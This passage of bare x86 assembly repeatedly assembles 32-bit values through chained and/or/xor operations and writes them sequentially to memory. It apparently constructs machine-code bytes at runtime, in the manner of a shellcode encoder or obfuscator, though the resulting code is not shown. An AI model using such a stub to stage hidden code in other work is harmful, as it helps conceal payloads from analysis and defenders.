mov dword [ebx], eax
add ebx, edx
or eax, 0x3e7e9d3b
and eax, 0xc8458901
or eax, 0
mov dword [ebx], eax
add ebx, edx
or eax, 0x5bcb18f7
and eax, 0x1bc80983
or eax, 0x20004408
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2aaa084
and eax, 0x3160a00d
or eax, 0x41d1040
mov dword [ebx], eax
add ebx, edx
xor eax, 0x22ba230f
and eax, 0x2953107b
and eax, 0x1401002
or eax, 0xab44589
mov dword [ebx], eax
add ebx, edx
xor eax, 0x299e6787
and eax, 0x20602004
or eax, 0xd148c51
mov dword [ebx], eax
add ebx, edx
or eax, 0x327642ec
and eax, 0x3744489
or eax, 0x80880102
mov dword [ebx], eax
add ebx, edx
or eax, 0x603c39cf
or eax, 0x4714233
and eax, 0x458901e8
or eax, 0
mov dword [ebx], eax
add ebx, edx
or eax, 0x1f8fc865
and eax, 0x5c0d89ec
or eax, 0xa0400210
mov dword [ebx], eax
add ebx, edx
or eax, 0x5d5cf69f
and eax, 0x7d444d3b
or eax, 0xa00000
mov dword [ebx], eax
add ebx, edx
xor eax, 0xa2333d6
and eax, 0x3624f428
and eax, 0x10040008
or eax, 0xc8518b14
mov dword [ebx], eax
add ebx, edx
xor eax, 0x720b9e8c
or eax, 0xedbe12f
and eax, 0x2cd4553b
or eax, 0x51000000
mov dword [ebx], eax
add ebx, edx
or eax, 0x6520a72d
and eax, 0x40448314
or eax, 0x80010800
mov dword [ebx], eax
add ebx, edx
and eax, 0x1f97e704
and eax, 0x40100
or eax, 0x3bb04403
mov dword [ebx], eax
add ebx, edx
and eax, 0x3b03cbc9
and eax, 0x9004001
or eax, 0x7da844
mov dword [ebx], eax
add ebx, edx
xor eax, 0x70744968
or eax, 0x72614342
and eax, 0x340410b
or eax, 0x80800c80
mov dword [ebx], eax
add ebx, edx
and eax, 0x32211923
or eax, 0x24ca3c8
and eax, 0x801c9
or eax, 0x4d810020
mov dword [ebx], eax
add ebx, edx
or eax, 0x647a359
and eax, 0x4c4583c0
or eax, 0xa0100800
mov dword [ebx], eax
add ebx, edx
and eax, 0x8f5329a
and eax, 0x8100000
or eax, 0x75a0553b
mov dword [ebx], eax
add ebx, edx
or eax, 0x2b774f01
and eax, 0x236770b2
and eax, 0x450010
or eax, 0xdc008b01
mov dword [ebx], eax
add ebx, edx
xor eax, 0x448441f5
and eax, 0x8801c880
or eax, 0x1002003
mov dword [ebx], eax
add ebx, edx
and eax, 0x32d33c8
or eax, 0x77b2f2f0
and eax, 0x4583d040
or eax, 0x8080c05
mov dword [ebx], eax
add ebx, edx
and eax, 0x9cde68b
or eax, 0x60e0a03
and eax, 0xc0d0a00
or eax, 0xd04031fc
mov dword [ebx], eax
add ebx, edx
or eax, 0x5df960fa
and eax, 0x3b62044e
and eax, 0x1100004c
or eax, 0x448b1330
mov dword [ebx], eax
add ebx, edx
and eax, 0x62677427
and eax, 0x40011024
or eax, 0x94542b98
mov dword [ebx], eax
add ebx, edx
or eax, 0x3cb87b57
and eax, 0x4489107d
or eax, 0x1020400
mov dword [ebx], eax
add ebx, edx
and eax, 0x4e7dce35
and eax, 0x4010010
or eax, 0xb04433c0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1d3c0ade
xor eax, 0x2a657cd2
and eax, 0x1084518
or eax, 0x7cc00023
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4f990db
and eax, 0x48018100
or eax, 0x804c0a09
mov dword [ebx], eax
add ebx, edx
and eax, 0x15dd2b59
and eax, 0x10101
or eax, 0x8900c082
mov dword [ebx], eax
add ebx, edx
xor eax, 0x51d3542
xor eax, 0x43aaed1b
and eax, 0x45820848
or eax, 0x1009c005
mov dword [ebx], eax
add ebx, edx
or eax, 0x58c3626d
and eax, 0x44412a48
or eax, 0x80141190
mov dword [ebx], eax
add ebx, edx
xor eax, 0x26762dfb
or eax, 0x43ea03be
and eax, 0x418b123c
or eax, 0x4002040
mov dword [ebx], eax
add ebx, edx
or eax, 0x2cc8bb1f
and eax, 0x458b0b34
or eax, 0x240480
mov dword [ebx], eax
add ebx, edx
or eax, 0x5e613aba
xor eax, 0x3ef23e2a
and eax, 0x60050190
or eax, 0x98808840
mov dword [ebx], eax
add ebx, edx
or eax, 0x40218d06
or eax, 0x31c82152
and eax, 0x89edadd6
or eax, 0x2125228
mov dword [ebx], eax
add ebx, edx
or eax, 0x67655f5b
and eax, 0x477f1aec
and eax, 0x4103104c
or eax, 0xa880a401
mov dword [ebx], eax
add ebx, edx
and eax, 0x635e8eb5
and eax, 0x20008001
or eax, 0x944d0900
mov dword [ebx], eax
add ebx, edx
xor eax, 0x24a58041
and eax, 0x90e80900
or eax, 0x6e10b483
mov dword [ebx], eax
add ebx, edx
or eax, 0x386fe39a
xor eax, 0x107e020b
and eax, 0x6400fd90
or eax, 0x1000026f
mov dword [ebx], eax
add ebx, edx
and eax, 0x7e4f44ff
xor eax, 0x49ea9f29
and eax, 0x30408b00
or eax, 0x80150008
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3633962f
or eax, 0x4869a238
and eax, 0x4c6c153b
or eax, 0x30904000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1e070cd1
and eax, 0x67f7594f
and eax, 0x6041090a
or eax, 0x94048201
mov dword [ebx], eax
add ebx, edx
and eax, 0x3e8c5610
and eax, 0x30000000
or eax, 0xbb84503
mov dword [ebx], eax
add ebx, edx
xor eax, 0x68d96e94
or eax, 0x6d759e22
and eax, 0x975a405
or eax, 0x84040
mov dword [ebx], eax
add ebx, edx
xor eax, 0x50e89984
and eax, 0x1904d81
or eax, 0x8228000a
mov dword [ebx], eax
add ebx, edx
and eax, 0x6c990a3e
and eax, 0x880000
or eax, 0x4d0101c1
mov dword [ebx], eax
add ebx, edx
and eax, 0x1f2bfa2c
and eax, 0x369405e9
and eax, 0x4000000
or eax, 0xe0558bb8
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6cafdd0d
and eax, 0x8f85431
or eax, 0x7404010a
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2ff60f89
and eax, 0x23f6748f
and eax, 0
or eax, 0xf8458b0c
mov dword [ebx], eax
add ebx, edx
xor eax, 0x46485650
or eax, 0x6c83045a
and eax, 0xe88451a
or eax, 0x1500021
mov dword [ebx], eax
add ebx, edx
or eax, 0x62cfb8cc
and eax, 0x1eb1f404
and eax, 0x8404
or eax, 0x389
mov dword [ebx], eax
add ebx, edx
and eax, 0x7c680816
or eax, 0x6c42011c
and eax, 0x2c400100
or eax, 0x800d8a00
mov dword [ebx], eax
add ebx, edx
and eax, 0x4ff80aa0
or eax, 0x5b4f3c4b
and eax, 0x5e440c09
or eax, 0xa0b08180
mov dword [ebx], eax
add ebx, edx
or eax, 0x51c9b733
and eax, 0x9f934ea
and eax, 0x18934aa
or eax, 0x5402cb55
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1a3a4c58
or eax, 0x4e931720
and eax, 0x40918184
or eax, 0xb0040850
mov dword [ebx], eax
add ebx, edx
or eax, 0x751f5056
and eax, 0x67b8d734
and eax, 0x198d114
or eax, 0x8a672eea
mov dword [ebx], eax
add ebx, edx
and eax, 0x565b8ff
and eax, 0x6b1e266a
and eax, 0x40
or eax, 0xe883d405
mov dword [ebx], eax
add ebx, edx
and eax, 0x7d2d325e
and eax, 0x40010000
or eax, 0x94448901
mov dword [ebx], eax
add ebx, edx
and eax, 0x3a96d864
and eax, 0x10048800
or eax, 0xeef0058b
mov dword [ebx], eax
add ebx, edx
and eax, 0x36ea2766
xor eax, 0x61c388c
and eax, 0x383d8e
or eax, 0x8d03c271
mov dword [ebx], eax
add ebx, edx
xor eax, 0x226acf1a
or eax, 0x674dee18
and eax, 0xef5dfef0
or eax, 0x10a20000
mov dword [ebx], eax
add ebx, edx
or eax, 0x5cf80329
and eax, 0x558b5e79
or eax, 4
mov dword [ebx], eax
add ebx, edx
and eax, 0x1712ae8
and eax, 0x3ebaf1e5
and eax, 0x40
or eax, 0xfc553b98
mov dword [ebx], eax
add ebx, edx
and eax, 0x6033775d
and eax, 0x40011258
or eax, 0x58a4425
mov dword [ebx], eax
add ebx, edx
or eax, 0x201c3902
or eax, 0x7b1061c2
and eax, 0x40052bcc
or eax, 0x80400000
mov dword [ebx], eax
add ebx, edx
and eax, 0x4c5f2fbe
and eax, 0x40010a04
or eax, 0xd8a4470
mov dword [ebx], eax
add ebx, edx
and eax, 0x6ad85709
and eax, 0x800200
or eax, 0x14181c4
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7f8fa5e6
and eax, 0x3b6c2022
and eax, 0xa440000
or eax, 0x81804d89
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1d63631b
xor eax, 0x99c6cb8
and eax, 0x95094000
or eax, 0x808055
mov dword [ebx], eax
add ebx, edx
or eax, 0x31525761
and eax, 0xb5dbd664
or eax, 0x4a242888
mov dword [ebx], eax
add ebx, edx
or eax, 0x7eb5bb12
and eax, 0x89c4458a
or eax, 1
mov dword [ebx], eax
add ebx, edx
or eax, 0x553e286
and eax, 0x8dd6e085
or eax, 0x72280800
mov dword [ebx], eax
add ebx, edx
or eax, 0x540720af
and eax, 0xc04d88af
or eax, 0x350
mov dword [ebx], eax
add ebx, edx
or eax, 0x7f84dddd
and eax, 0x3d43f108
and eax, 0x901c100
or eax, 0x80000083
mov dword [ebx], eax
add ebx, edx
or eax, 0x5c34f8a3
and eax, 0x9501c001
or eax, 0x8a004c
mov dword [ebx], eax
add ebx, edx
xor eax, 0x321b359
and eax, 0x752da4dc
and eax, 0x14282004
or eax, 0xebd7dee8
mov dword [ebx], eax
add ebx, edx
or eax, 0xcdfd21b
and eax, 0x1a91bfc9
and eax, 0x1a809409
or eax, 0xe4680132
mov dword [ebx], eax
add ebx, edx
xor eax, 0x69f86805
and eax, 0x1410fd3e
or eax, 0x86d02c1
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6fb58ff1
and eax, 0x33c8400a
or eax, 0x8300581
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7b24ee3f
and eax, 0x5c8804
or eax, 0x14215441
mov dword [ebx], eax
add ebx, edx
or eax, 0x1519f91
and eax, 0x5484d81
or eax, 0xa80000a
mov dword [ebx], eax
add ebx, edx
and eax, 0x36cf3bf
and eax, 0x2027150d
and eax, 0x109
or eax, 0x85e84ca6
mov dword [ebx], eax
add ebx, edx
and eax, 0x47bab51d
and eax, 0x1080409
or eax, 0x8a0170c0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6ea1f0a1
and eax, 0xe0808440
or eax, 0xa032815
mov dword [ebx], eax
add ebx, edx
and eax, 0x7ff4a091
and eax, 0x28008001
or eax, 0x84550900
mov dword [ebx], eax
add ebx, edx
or eax, 0x4469f48d
and eax, 0x28644589
or eax, 0x3800002
mov dword [ebx], eax
add ebx, edx
xor eax, 0x51d74408
xor eax, 0x59208c35
and eax, 0x23108c04
or eax, 0x4646041
mov dword [ebx], eax
add ebx, edx
xor eax, 0x29775a43
or eax, 0x4fd34879
and eax, 0x3c04c0b
or eax, 0x30040180
mov dword [ebx], eax
add ebx, edx
and eax, 0x49d50810
and eax, 0x70f44194
and eax, 0x800000
or eax, 0x8d09bc4d
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1beaf99
and eax, 0x7d2e02ba
and eax, 0xc260280
or eax, 0xf3d9fc64
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1848b186
xor eax, 0x31135161
and eax, 0x82a41403
or eax, 0x1184188
mov dword [ebx], eax
add ebx, edx
and eax, 0x5b108aa2
xor eax, 0x62a58d78
and eax, 0x418101c2
or eax, 0x14080000
mov dword [ebx], eax
add ebx, edx
and eax, 0x6e56a976
xor eax, 0x419daaf0
and eax, 0x49d83b0
or eax, 0xe020000c
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5334c315
and eax, 0x8940a8
or eax, 0x76bf56
mov dword [ebx], eax
add ebx, edx
or eax, 0x65d3cf51
and eax, 0x458b0974
or eax, 0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1dd3b3bd
and eax, 0x408280
or eax, 0x1800130
mov dword [ebx], eax
add ebx, edx
xor eax, 0x73e49bc0
and eax, 0x146e8b4a
and eax, 0x200000
or eax, 0x8b904589
mov dword [ebx], eax
add ebx, edx
and eax, 0x6f101b43
and eax, 0x1000001
or eax, 0xc083d44c
mov dword [ebx], eax
add ebx, edx
or eax, 0x20f523c4
and eax, 0xc0458101
or eax, 0x14080800
mov dword [ebx], eax
add ebx, edx
or eax, 0x28ef9bb6
and eax, 0xfcee13a1
or eax, 0x3100448
mov dword [ebx], eax
add ebx, edx
or eax, 0x124c6738
and eax, 0xfc5403f9
or eax, 0x18806
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1afdac42
and eax, 0xa400270d
or eax, 0x10558802
mov dword [ebx], eax
add ebx, edx
and eax, 0x7b900d7b
and eax, 0x100001
or eax, 0x4565d284
mov dword [ebx], eax
add ebx, edx
or eax, 0x73380ab7
and eax, 0x5048dc1
and eax, 0x1000081
or eax, 0x3ae8450a
mov dword [ebx], eax
add ebx, edx
and eax, 0x41168d3e
and eax, 0x1000000
or eax, 0x3c7cf045
mov dword [ebx], eax
add ebx, edx
or eax, 0x3e4bb1d7
xor eax, 0x7aa98f82
and eax, 0x1d04c01
or eax, 0x3a08018a
mov dword [ebx], eax
add ebx, edx
or eax, 0x2f09afa2
or eax, 0x45c4c8da
and eax, 0x355ccc49
or eax, 0x201004
mov dword [ebx], eax
add ebx, edx
xor eax, 0x165b3c2a
and eax, 0x1204003
or eax, 0x88d81588
mov dword [ebx], eax
add ebx, edx
or eax, 0x71ce1886
or eax, 0x78ee5812
and eax, 0xf9fe4095
or eax, 0x600a000
mov dword [ebx], eax
add ebx, edx
and eax, 0x1bfcc04c
and eax, 0x10448004
or eax, 0xe4010bfb
mov dword [ebx], eax
add ebx, edx
and eax, 0x4cd0f9ad
and eax, 0x6c23e0a
and eax, 0x4400008
or eax, 0xfa9c8581
mov dword [ebx], eax
add ebx, edx
or eax, 0x7658c4
and eax, 0x4c8addcd
or eax, 0x1012232
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2192bd5
and eax, 0x1808020
or eax, 0x4103d4
mov dword [ebx], eax
add ebx, edx
xor eax, 0x27165e27
and eax, 0x2d44d81
or eax, 0x89200008
mov dword [ebx], eax
add ebx, edx
or eax, 0x6cac1ba6
and eax, 0x25c999f8
and eax, 0x25c80080
or eax, 0xda36e015
mov dword [ebx], eax
add ebx, edx
and eax, 0x6445519f
or eax, 0x17aa43f8
and eax, 0x548403fd
or eax, 0x88113802
mov dword [ebx], eax
add ebx, edx
or eax, 0x7012ed76
and eax, 0x7c97fffe
or eax, 0x680000
mov dword [ebx], eax
add ebx, edx
and eax, 0x95ac6ba
and eax, 0x408208
or eax, 0xe4050904
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3e567982
and eax, 0x32c8b17f
and eax, 0x200000a
or eax, 0xdcc4501
mov dword [ebx], eax
add ebx, edx
and eax, 0x683f022f
and eax, 0
or eax, 0xad84
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5da830b5
xor eax, 0x307d3139
and eax, 0x60458800
or eax, 0x90080300
mov dword [ebx], eax
add ebx, edx
or eax, 0x4594c66
or eax, 0x37c5a281
and eax, 0xf6d88d81
or eax, 0x8000008
mov dword [ebx], eax
add ebx, edx
xor eax, 0xc3aa1bc
and eax, 0x50822c35
or eax, 0x509d3ca
mov dword [ebx], eax
add ebx, edx
or eax, 0x3f194aaa
xor eax, 0xbe68097
and eax, 0x54150948
or eax, 0x80808080
mov dword [ebx], eax
add ebx, edx
or eax, 0x30bcef09
and eax, 0x80bdefc8
or eax, 0xb421036
mov dword [ebx], eax
add ebx, edx
and eax, 0x44701f4
or eax, 0x79a4e61e
and eax, 0x6883c044
or eax, 0x80000801
mov dword [ebx], eax
add ebx, edx
and eax, 0x7f557776
or eax, 0x7e66a34d
and eax, 0x48458101
or eax, 0x80000800
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7078e4c9
and eax, 0x71796a
and eax, 0x100908
or eax, 0xfec88483
mov dword [ebx], eax
add ebx, edx
and eax, 0x615b4ab0
xor eax, 0x30ccdd12
and eax, 0x10d592
or eax, 0x8d2b2a6d
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2b2f07d5
xor eax, 0x781982e4
and eax, 0xde0d7ac4
or eax, 0x21f28410
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2f604460
and eax, 0x508b2834
or eax, 0x5000149
mov dword [ebx], eax
add ebx, edx
or eax, 0x7e869d0e
xor eax, 0x7b3d0c1e
and eax, 0x908140
or eax, 0xd0050880
mov dword [ebx], eax
add ebx, edx
or eax, 0x63c88c3d
xor eax, 0x76e18a14
and eax, 0x813c07e8
or eax, 0xac3f816
mov dword [ebx], eax
add ebx, edx
and eax, 0x2106537e
or eax, 0x440fac71
and eax, 0x509c445
or eax, 0x80800000
mov dword [ebx], eax
add ebx, edx
and eax, 0x28036578
and eax, 0x14440
or eax, 0xfffeba8c
mov dword [ebx], eax
add ebx, edx
and eax, 0x3194bcbe
xor eax, 0x76554be9
and eax, 0x3c04501
or eax, 0x8000088a
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1e36212f
and eax, 0xd8000a0
or eax, 0x40090149
mov dword [ebx], eax
add ebx, edx
xor eax, 0x70c9914d
and eax, 0x7188f26a
and eax, 0x10008000
or eax, 0xc0950bc0
mov dword [ebx], eax
add ebx, edx
and eax, 0x28462e52
and eax, 0x40a40
or eax, 0x3bfbf5be
mov dword [ebx], eax
add ebx, edx
and eax, 0x49dbed71
and eax, 0x9dacc10
or eax, 0xf6240085
mov dword [ebx], eax
add ebx, edx
or eax, 0x1318adc7
and eax, 0x8b206cd7
or eax, 0x11028
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7987ea88
and eax, 0xc0829445
or eax, 0x16000
mov dword [ebx], eax
add ebx, edx
and eax, 0x2369ed4b
and eax, 0x18001
or eax, 0xf4440900
mov dword [ebx], eax
add ebx, edx
or eax, 0x5a83b853
and eax, 0x22c00903
or eax, 0x1184488
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6a85c2bb
and eax, 0x558400
or eax, 0x1020704d
mov dword [ebx], eax
add ebx, edx
and eax, 0x35f82728
xor eax, 0x4df420c6
and eax, 0x1984048a
or eax, 0x22505101
mov dword [ebx], eax
add ebx, edx
and eax, 0x35cf4ae1
and eax, 0x440001
or eax, 0x838b854
mov dword [ebx], eax
add ebx, edx
xor eax, 0x59d43f32
xor eax, 0x2df6159b
and eax, 0x580088
or eax, 0x3a04503
mov dword [ebx], eax
add ebx, edx
and eax, 0x34c9a0c0
or eax, 0x17b19252
and eax, 0x12708040
or eax, 0x28046405
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3e6b58a9
and eax, 0x1c0c88
or eax, 0x3bc04103
mov dword [ebx], eax
add ebx, edx
and eax, 0x560642a6
and eax, 0x44000
or eax, 0x979884d
mov dword [ebx], eax
add ebx, edx
or eax, 0x86fad37
and eax, 0x1104547
or eax, 0x800080
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2f6e16e4
and eax, 0x2a000000
or eax, 0xc1000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x611a19bd
and eax, 0x5e0f62a1
and eax, 1
or eax, 0x9045c706
mov dword [ebx], eax
add ebx, edx
xor eax, 0x77530a2b
or eax, 0x40738569
xor eax, eax
mov dword [ebx], eax
add ebx, edx
and eax, 0x6ba0123
xor eax, 0x2d00fe46
and eax, 0x21005402
or eax, 0x12f00189
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6037efc0
and eax, 0x12449041
or eax, 0x8300014
mov dword [ebx], eax
add ebx, edx
or eax, 0x281e7edf
and eax, 0x27c448b
or eax, 0x81800100
mov dword [ebx], eax
add ebx, edx
xor eax, 0x521b333b
and eax, 0x41810080
or eax, 0x4080140
mov dword [ebx], eax
add ebx, edx
or eax, 0x508c9372
xor eax, 0x66954c97
and eax, 0x20088b64
or eax, 0xc8450098
mov dword [ebx], eax
add ebx, edx
or eax, 0x3766fa1c
and eax, 0x7d6c4938
or eax, 0x900403
mov dword [ebx], eax
add ebx, edx
xor eax, 0x15de5c23
and eax, 0x28000108
or eax, 0x94558a01
mov dword [ebx], eax
add ebx, edx
or eax, 0x7647d8f9
and eax, 0x9367e87
and eax, 0x8004281
or eax, 0x81018002
mov dword [ebx], eax
add ebx, edx
or eax, 0x2f2b9be1
and eax, 0x50b9841
or eax, 0x40802414
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6f44ccea
or eax, 0x787c6932
and eax, 0x2108
or eax, 0x400
mov dword [ebx], eax
add ebx, edx
and eax, 0x62b6d5ef
and eax, 0
or eax, 0x6742000
mov dword [ebx], eax
add ebx, edx
or eax, 0x3736c59d
or eax, 0x17e43451
and eax, 0x1a645c4
or eax, 2
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6c272063
xor eax, 0x20618f58
and eax, 0x45c000e9
or eax, 0x60402
mov dword [ebx], eax
add ebx, edx
or eax, 0x348623bc
and eax, 0x458200a6
or eax, 0x8080000
mov dword [ebx], eax
add ebx, edx
and eax, 0x779abdec
and eax, 0x800a4
or eax, 0xaa458802
mov dword [ebx], eax
add ebx, edx
and eax, 0x7c4af3b9
and eax, 0x4800a0
or eax, 0xb75c48
mov dword [ebx], eax
add ebx, edx
and eax, 0x593169c3
and eax, 0x300800
or eax, 0x55860700
mov dword [ebx], eax
add ebx, edx
or eax, 0x3f49bce8
and eax, 0x4bf5974c
and eax, 0xbd08508
or eax, 0x40200a1
mov dword [ebx], eax
add ebx, edx
and eax, 0x2597186d
and eax, 0
or eax, 0x4db84
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7e04a5fb
or eax, 0x5f403491
and eax, 0x45000e00
or eax, 0xb60100
mov dword [ebx], eax
add ebx, edx
and eax, 0x3c990e43
and eax, 0x4800400
or eax, 0xb4081ab
mov dword [ebx], eax
add ebx, edx
or eax, 0x29ee9334
and eax, 0x48785
or eax, 0x4800
mov dword [ebx], eax
add ebx, edx
or eax, 0x6b4cf730
xor eax, 0x3717f03b
and eax, 0x4c120f00
or eax, 0x1a40000
mov dword [ebx], eax
add ebx, edx
or eax, 0x3f864d2b
and eax, 0xf80052a
or eax, 0x498080
mov dword [ebx], eax
add ebx, edx
or eax, 0x4a78ff88
and eax, 0xc380
or eax, 0x40005
mov dword [ebx], eax
add ebx, edx
xor eax, 0x43503a62
and eax, 0x4140e800
or eax, 0x9c230000
mov dword [ebx], eax
add ebx, edx
or eax, 0x55ac5b62
or eax, 0x62dd8501
and eax, 0x558b0003
or eax, 0
mov dword [ebx], eax
add ebx, edx
or eax, 0x174a9bf8
and eax, 0x55c281d8
or eax, 0xa8000004
mov dword [ebx], eax
add ebx, edx
and eax, 0x3c3d0cba
xor eax, 0x5a3bf54b
and eax, 3
or eax, 0x89000020
mov dword [ebx], eax
add ebx, edx
and eax, 0x3c64b1d8
xor eax, 0x7cd1af10
and eax, 0x44818c10
or eax, 0x10a5045
mov dword [ebx], eax
add ebx, edx
xor eax, 0x391d850c
and eax, 0x5c040148
or eax, 0x80410280
mov dword [ebx], eax
add ebx, edx
or eax, 0x2475c948
and eax, 0x11053097
and eax, 0x80
or eax, 0xebc84509
mov dword [ebx], eax
add ebx, edx
or eax, 0x4914b2d4
and eax, 0xc84c8309
or eax, 0x10800
mov dword [ebx], eax
add ebx, edx
and eax, 0x46d3f9cb
and eax, 0x18101
or eax, 0x89004082
mov dword [ebx], eax
add ebx, edx
and eax, 0x78c061f4
xor eax, 0x2d585a52
and eax, 0x5080840
or eax, 0x5083c00d
mov dword [ebx], eax
add ebx, edx
or eax, 0x6d438064
or eax, 0x60e97add
and eax, 0x38413ac8
or eax, 0x80140100
mov dword [ebx], eax
add ebx, edx
and eax, 0x45d8c9ca
xor eax, 0x5006c96d
and eax, 0x8005
or eax, 0x4880d0a
mov dword [ebx], eax
add ebx, edx
and eax, 0x229294ce
and eax, 0x800000
or eax, 0x450b0000
mov dword [ebx], eax
add ebx, edx
and eax, 0x7ecadcdd
and eax, 0x40000000
or eax, 0x80453be4
mov dword [ebx], eax
add ebx, edx
and eax, 0x633457c3
and eax, 0x40040140
or eax, 0x5c3083d
mov dword [ebx], eax
add ebx, edx
or eax, 0x2e949749
or eax, 0x72c7736f
and eax, 0x10c
or eax, 0x80
mov dword [ebx], eax
add ebx, edx
and eax, 0x6c32c6df
and eax, 0
or eax, 0xc707eb00
mov dword [ebx], eax
add ebx, edx
or eax, 0x49d7bf04
xor eax, 0x7b32926b
and eax, 0xc45
or eax, 0x8000
mov dword [ebx], eax
add ebx, edx
and eax, 0x63eccad0
and eax, 0x70b6341c
and eax, 0
or eax, 0x4d8b0000
mov dword [ebx], eax
add ebx, edx
or eax, 0x6fc0c082
xor eax, 0x721f5c9d
and eax, 0xc44081c
or eax, 0x800903e0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3e6f7ef
and eax, 0x64643e5b
and eax, 0x4000810
or eax, 0x518b0064
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6992ef97
and eax, 0x280d0ccd
and eax, 0x28010080
or eax, 0xc454032c
mov dword [ebx], eax
add ebx, edx
and eax, 0x33b65673
and eax, 0x20
or eax, 0x458b4455
mov dword [ebx], eax
add ebx, edx
and eax, 0x3bb4dab3
and eax, 0x61e6b9c
and eax, 0x10
or eax, 0xbc452ba0
mov dword [ebx], eax
add ebx, edx
and eax, 0x41c5b16b
and eax, 0x5e733e67
and eax, 0x400000
or eax, 0xfe888589
mov dword [ebx], eax
add ebx, edx
xor eax, 0x56726408
and eax, 0x88ae181
or eax, 0x45011e7e
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3927c0b8
or eax, 0x7fee3fdb
and eax, 0x1c0039c
or eax, 0x18020
mov dword [ebx], eax
add ebx, edx
and eax, 0x34c83e8b
and eax, 0x800088
or eax, 0x833c4d01
mov dword [ebx], eax
add ebx, edx
xor eax, 0x590648a0
and eax, 0xdaba0029
or eax, 0x2544c894
mov dword [ebx], eax
add ebx, edx
or eax, 0x3e28910e
and eax, 0x720ae9f6
and eax, 0x100000b6
or eax, 0x1740049
mov dword [ebx], eax
add ebx, edx
or eax, 0x1b6e4183
and eax, 0x344418b
or eax, 0x80801400
mov dword [ebx], eax
add ebx, edx
or eax, 0x1c244ac0
and eax, 0x724a0426
and eax, 0x10000002
or eax, 0x458901e8
mov dword [ebx], eax
add ebx, edx
xor eax, 0x322929f5
and eax, 0x40000804
or eax, 0x904583c0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4f06e817
and eax, 0x1c404113
or eax, 0x60840428
mov dword [ebx], eax
add ebx, edx
and eax, 0x1dbb0f29
and eax, 0x3463dd83
and eax, 0x10000101
or eax, 0xc84d8a14
mov dword [ebx], eax
add ebx, edx
or eax, 0x696e027b
and eax, 0x89018903
or eax, 0x6080
mov dword [ebx], eax
add ebx, edx
and eax, 0x3061d7f
and eax, 0x462667be
and eax, 0
or eax, 0x558bd84d
mov dword [ebx], eax
add ebx, edx
and eax, 0x77bb20cf
xor eax, 0x4848dedd
and eax, 0x14411a90
or eax, 0xe0142148
mov dword [ebx], eax
add ebx, edx
or eax, 0x348076c8
and eax, 0x2e9f29b7
and eax, 0x900900
or eax, 0x8840f
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1b811f0f
and eax, 0x1090000
or eax, 0x44820000
mov dword [ebx], eax
add ebx, edx
or eax, 0x24048a49
or eax, 0x1ac5424c
and eax, 0x54450a04
or eax, 0x800001b0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5f9def89
and eax, 0x431265d3
and eax, 0x3104411
or eax, 0xcec012a
mov dword [ebx], eax
add ebx, edx
xor eax, 0x31813b4e
and eax, 0x805
or eax, 0x8188
mov dword [ebx], eax
add ebx, edx
and eax, 0x63b8a5c4
and eax, 0x8100
or eax, 0xbc4d0a00
mov dword [ebx], eax
add ebx, edx
and eax, 0x444f100c
and eax, 0x400000
or eax, 0x3b904d03
mov dword [ebx], eax
add ebx, edx
and eax, 0x2c5134c2
and eax, 0x500400
or eax, 0x132ce84d
mov dword [ebx], eax
add ebx, edx
xor eax, 0x74ef82d5
and eax, 0x7904488
or eax, 0x8641103
mov dword [ebx], eax
add ebx, edx
and eax, 0x3c6f1cf
and eax, 0x1c0518b
or eax, 0x84380424
mov dword [ebx], eax
add ebx, edx
or eax, 0x1c2306a2
and eax, 0x89735482
or eax, 0x2002050
mov dword [ebx], eax
add ebx, edx
xor eax, 0x422bdaf1
and eax, 0x6da3a020
and eax, 0x4100a000
or eax, 0x43b1445
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7c9bd0e8
xor eax, 0x4461e939
and eax, 0x9410d80
or eax, 0x822a7068
mov dword [ebx], eax
add ebx, edx
or eax, 0x66f09212
or eax, 0x18780c6d
and eax, 0x4d3bdc4d
or eax, 0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6106bff1
and eax, 0x40961b4
or eax, 0xc3001c40
mov dword [ebx], eax
add ebx, edx
or eax, 0x139f5a32
or eax, 0x71faed8c
and eax, 0x18844
or eax, 1
mov dword [ebx], eax
add ebx, edx
xor eax, 0x79548d77
and eax, 0x1410000
or eax, 0x6aa0000
mov dword [ebx], eax
add ebx, edx
and eax, 0xa5c016a
or eax, 0x1811ae53
and eax, 0x80443
or eax, 0x804184
mov dword [ebx], eax
add ebx, edx
and eax, 0x11debe2
and eax, 0x32c0d8b9
and eax, 0
or eax, 0x8b000000
mov dword [ebx], eax
add ebx, edx
and eax, 0x5112caa1
and eax, 0x1000000
or eax, 0x5433e855
